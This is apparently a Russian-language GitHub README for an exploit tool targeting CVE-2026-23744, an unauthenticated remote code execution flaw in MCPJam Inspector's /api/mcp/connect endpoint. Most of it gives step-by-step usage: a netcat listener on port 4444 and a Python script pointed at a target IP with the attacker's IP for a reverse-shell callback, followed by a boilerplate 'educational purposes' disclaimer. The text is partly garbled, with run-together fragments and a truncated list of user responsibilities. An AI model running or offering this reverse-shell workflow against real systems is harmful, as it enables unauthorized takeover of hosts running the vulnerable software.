alisster00/cve-2026-23744-rceЭта утилита была создана в ходе исследования, связанного с MCPJam v1.4.2. Приложение предоставляет конечную точку API, которая принимает объект конфигурации сервера. При определенных условиях недостаточная валидация может привести к непреднамеренному выполнению команд.
MCPJam Inspector содержит неаутентифицированную уязвимость удаленного выполнения кода (RCE) в конечной точке /api/mcp/connect. Уязвимость позволяет злоумышленникам выполнять произвольные команды, отправляя вредоносную полезную нагрузку конфигурации MCP-сервера.
Конечная точка принимает JSON-полезную нагрузку с объектом serverConfig, содержащим command и массив args, которые выполняются непосредственно в системе без надлежащей проверки или очистки.
requests: pip install requestsnetcat или socat для слушателяТерминал 1 - Запуск слушателя:
nc -lvnp 4444
Терминал 2 - Запуск эксплойта:
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 4444
# По умолчанию (порт 6274, порт обратного вызова 4444)
python3 script.py <TARGET_IP> -l <YOUR_IP>
# Пользовательский порт MCPJam
python3 script.py <TARGET_IP> -p 6274 -l <YOUR_IP>
# Пользовательский порт слушателя
python3 script.py <TARGET_IP> -l <YOUR_IP> --lport 5555
/api/mcp/connect⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ:
Данный эксплойт предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Пользователи несут единоличную ответственность за:
Автор не несет ответственности за неправильное использование или ущерб, причиненный данным инструментом. Используйте на свой страх и риск.
/api/mcp/connect